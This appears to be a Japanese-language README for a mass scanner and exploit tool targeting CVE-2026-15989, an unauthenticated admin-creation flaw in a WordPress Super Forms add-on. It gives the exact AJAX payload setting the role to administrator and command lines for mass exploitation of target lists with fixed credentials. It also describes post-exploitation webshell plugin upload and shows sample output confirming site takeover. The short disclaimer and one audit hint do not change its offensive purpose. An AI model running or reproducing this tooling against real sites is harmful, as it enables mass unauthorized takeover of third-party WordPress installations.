
CVE-2026-15989 のための大量スキャンおよびエクスプロイトツール。これは Super Forms <= 6.3.316 における未認証の権限昇格であり、role パラメータを介して管理者アカウントを作成します。
Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — プレミアムアドオン Register & Login の role パラメータを介した未認証の権限昇格。
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2026-15989 |
| チェーン | 登録フォーム → $other_userdata 内の 'role' → wp_insert_user(role=administrator) → ADMIN |
| 深刻度 | 🔴 CRITICAL (CVSS 9.8) |
| 対象 | Super Forms – Drag & Drop Form Builder + プレミアムアドオン Register & Login |
| 影響を受けるバージョン | ≤ 6.3.316 (コア) — 脆弱なアドオンビルド (v1.x) |
| 修正済み | 6.3.317 |
| 必要な認証 | なし |
このアドオンはフォーム設定から新規ユーザーのロールを設定し
($userdata['role'] = $settings['register_user_role'])、その後
$other_userdata をループ処理する — これには 'role' が含まれており —
wp_insert_user() を呼び出す前に、クライアントから送信された値
($data['role']['value']) で任意のキーを上書きする。
POST /wp-admin/admin-ajax.php (unauthenticated)
│
▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
│
▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
│
▼
wp_insert_user() ─► administrator account created
│
▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session
修正 (6.3.317): ホワイトリストから 'role' を削除 + get_safe_public_registration_role() (フェイルクローズド)。
独自リサーチ — デュアル送信プロトコル: コアは v5.0.0 でプロトコルを変更した。
| コア | アクション | データ形式 | Nonce |
|---|---|---|---|
| 4.x | super_send_email | ネストされたフィールド (data[role][value]=...) | なし (チェックがコメントアウト) |
| 5.x/6.x | super_submit_form | JSON 文字列 | sf_nonce (super_create_nonce 経由) |
このツールは検出されたバージョンからプロトコルを自動的に選択する。
# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup
# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure
# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure
| オプション | 説明 |
|---|---|
--list FILE | 1 行につき 1 ターゲット; 1 行につき URL|form_id または URL|form_id=ID,email=X |
-u/--target, --port | 単一ターゲット |
--threads, --timeout, --no-dedup | マスモードのチューニング |
--force | 登録フォームが検出されなくてもペイロードを発火する |
--only-hits / --quiet | 確認されたヒットのみツリー表示 / 最小限の出力 |
--reset | パスワード紛失による verify モードの完了 (オペレータがリセットリンクを貼り付ける) |
--only-login | 登録をスキップ; ログインして users/me 経由でロールを確認する |
--login / --rce | 実ターゲットへのポストエクスプロイト: ログイン証明 / webshell プラグインのアップロード |
-k/--insecure | TLS を無視する |
│ ├─ plugin : 6.3.316 — VULNERABLE <= 6.3.316
│ ├─ addon : v1.8.7
│ ├─ form : 4169 (/register/)
│ ├─ proto : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│ ├─ payload : HTTP 200 ✓ processed
│ └─ session : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED
hits.txt — 確認されたターゲットのみ (ts|url|status|detail、ユーザー/パスワード付き)readme.txt の Stable タグ + common.js?ver=; アドオンプローブ + その独自バージョン/wp-json/wp/v2/users/me?context=edit による権威ある管理者証明 (フォールバック: users.php / ダッシュボード)├── CVE-2026-15989.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
wp-admin/ のユーザーに予期しない管理者アカウントがないか監査する